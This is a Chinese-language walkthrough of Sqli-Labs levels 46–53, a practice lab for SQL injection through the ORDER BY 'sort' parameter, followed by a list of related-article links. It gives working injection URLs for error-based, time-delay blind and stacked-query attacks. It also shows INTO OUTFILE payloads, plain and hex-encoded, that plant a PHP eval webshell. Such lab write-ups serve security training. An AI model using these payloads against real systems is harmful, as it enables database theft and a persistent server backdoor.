less-46

前置基础知识:

select * from users order by 1 desc ;使用降序(倒序)排列

select * from users order by 1 asc ;使用升序(正序)排列

select right(database(),1);从右至左输出第一个字母

select lesft(database(),1);从左至右输出第一个字母

lines terminated by 666  每行输出以666结尾

第46关和之前的不同/根据提示可以看到让输入sort,观察源码并加上输出语句,实际上输入查询的还是id:

然后输出?sort=1可以得出user表的信息,并可以排序:http://192.168.0.106:300/Less-46/?sort=1 desc

下面通过两种办法拿到数据库的其他信息:

第一种办法:报错注入

http://192.168.0.106:300/Less-46/?sort=1 and updatexml (1, concat(0x7e,database()) ,1)

其他省略

第二种办法:延时注入

http://192.168.0.106:300/Less-46/?sort=1 and if(length(database())=8  ,1,sleep(5))

二种办法都可以在database()处构造语句。

less-47

基本与46关相同,就是order by ‘1’

闭合的sql语句变成了:

第一种办法:报错注入

http://192.168.0.106:300/Less-47/?sort=1‘ and updatexml (1, concat(0x7e,database()) ,1) --+

第二种办法:延时注入

http://192.168.0.106:300/Less-47/?sort=1’ and if(length(database())=8  ,1,sleep(5))--+

less-48

基本与46关相同,但是这一关没有错误的回显,所以只能用盲注的办法:

延时盲注

http://192.168.0.106:300/Less-48/?sort=1 and if(length(database())=8  ,1,sleep(5))

先判断长度,再判断内容,以下省略

less-49

基本与46关相同,就是order by ‘1’,然后不显示报错,所以也可以用盲注的办法:

延时注入

http://192.168.0.106:300/Less-49/?sort=1‘ and if(length(database())=8  ,1,sleep(5)) --+

其他步骤相同

less46-49的其他打开方式:使用函数写入一句话木马

这里以46关为例,我们首先使用outfile函数:

http://192.168.0.105/sqli-labs/Less-46/?sort=1 and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-46\\mm.php' --+

可以看到文件虽然已经有了,但是并没有一句话木马,所以也不能使用菜刀链接。

但是我们现在可以使用文章开头提到的line terminal by 语句进行输入:(最后是一句话16进制形式)

http://192.168.0.105/sqli-labs/Less-46/?sort=1 into outfile 'C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-46\\mm2.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e

可以看到,输出的每一行都写入了一句话木马,这样就可以用菜刀进行连接。

less-50

这一关大同小异:

方法一:延时注入

方法二:报错注入

方法三:写入一句话木马  以上三种方法参考上面。

方法四:使用堆叠注入创建新的users表:

http://192.168.0.105/sqli-labs/Less-50/?sort=1;create table hzk50 like users;insert into hzk50 select * from users;

方法五:使用堆叠注入写入一句话木马。

以上方法都可以,具体参考前几关的文章。

less-51

和50关基本相同,order by ’1‘语句数据包裹形式不同

方法一:延时注入

方法二:报错注入

方法三:写入一句话木马  以上三种方法参考上面。

方法四:使用堆叠注入创建新的users表。

方法五:使用堆叠注入写入一句话木马。

less-52

和50关基本相同,但是输出报错信息,所以不能用报错注入。

方法一:延时注入

方法二:写入一句话木马  以上三种方法参考上面。

方法三:使用堆叠注入创建新的users表。

方法四:使用堆叠注入写入一句话木马。

less-53

和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。

方法一:延时注入

方法二:写入一句话木马  以上三种方法参考上面。

方法三:使用堆叠注入创建新的users表。

方法四:使用堆叠注入写入一句话木马。

Sqli-Labs less46-53的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  6. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. [小技巧] Windows7 半角全角快捷键 修改方法

    From : http://blog.sina.com.cn/s/blog_87ab67b10100x3ww.html 转载说明:在浏览器下我们可以使用空格下翻一页,Shift + 空格上翻一页. 但 ...

  2. 【知识点】H264, H265硬件编解码基础及码流分析

    前言 音视频开发需要你懂得音视频中一些基本概念,针对编解码而言,我们必须提前懂得编解码器的一些特性,码流的结构,码流中一些重要信息如sps,pps,vps,start code以及基本的工作原理,而大 ...

  3. Mysql学生课程表SQL面试集合

    现有如下2个表,根据要求写出SQL语句. student表:编号(sid),姓名(sname),性别(sex) course表:编号(sid),科目(subject),成绩(score)  问题1:查 ...

  4. PYTHON matplotlib入门

    '''作为线性图的替代,可以通过向 plot() 函数添加格式字符串来显示离散值. 可以使用以下格式化字符. 字符 描述 '-' 实线样式 '--' 短横线样式 '-.' 点划线样式 ':' 虚线样式 ...

  5. 团队开发day02

    进行android的UI界面设计,设计圆角输入框和圆形按钮, 以及点击的水滴效果 遇到问题,新建的drawable布局没有达到预期的效果,圆形按钮的 背景想设置为图片,但是发现会遮盖住水滴效果,改用新 ...

  6. Function.identity()

    Java 8允许在接口中加入具体方法.接口中的具体方法有两种,default方法和static方法,identity()就是Function接口的一个静态方法.Function.identity()返 ...

  7. [刘阳Java]_SpringMVC文件上传第1季_第10讲

    今天来介绍一个关于SpringMVC框架的文件上传功能.首先我个人感觉SpringMVC框架的文件上传还是要比Struts2框架要好用一些,灵活性更强.因为SpringMVC框架的文件上传有几种不同的 ...

  8. facade层,service 层,domain层,dao 层设计

    转自http://fei-6666.iteye.com/blog/446247,记录下来 一,Service->DAO,只能在Service中注入DAO. 二,DAO只能操作但表数据,跨表操作放 ...

  9. div标签width:auto无效

    1,因为div标签默认是display:block,独占一行,宽度为父元素的100%,但是高度是auto,跟随内部内容而定.所以要想 设值父元素随子元素的宽高,那么就要设置div标签为display: ...

  10. windows程序快速启动的方式:WIN键+R

    WIN键+R是windows快速启动程序的一种方式,一般能独立运行的程序都能以这种方式启动.如notepad.calc.explorer等程序. 在命令行方式下explorer加上不同的参数,会得到不 ...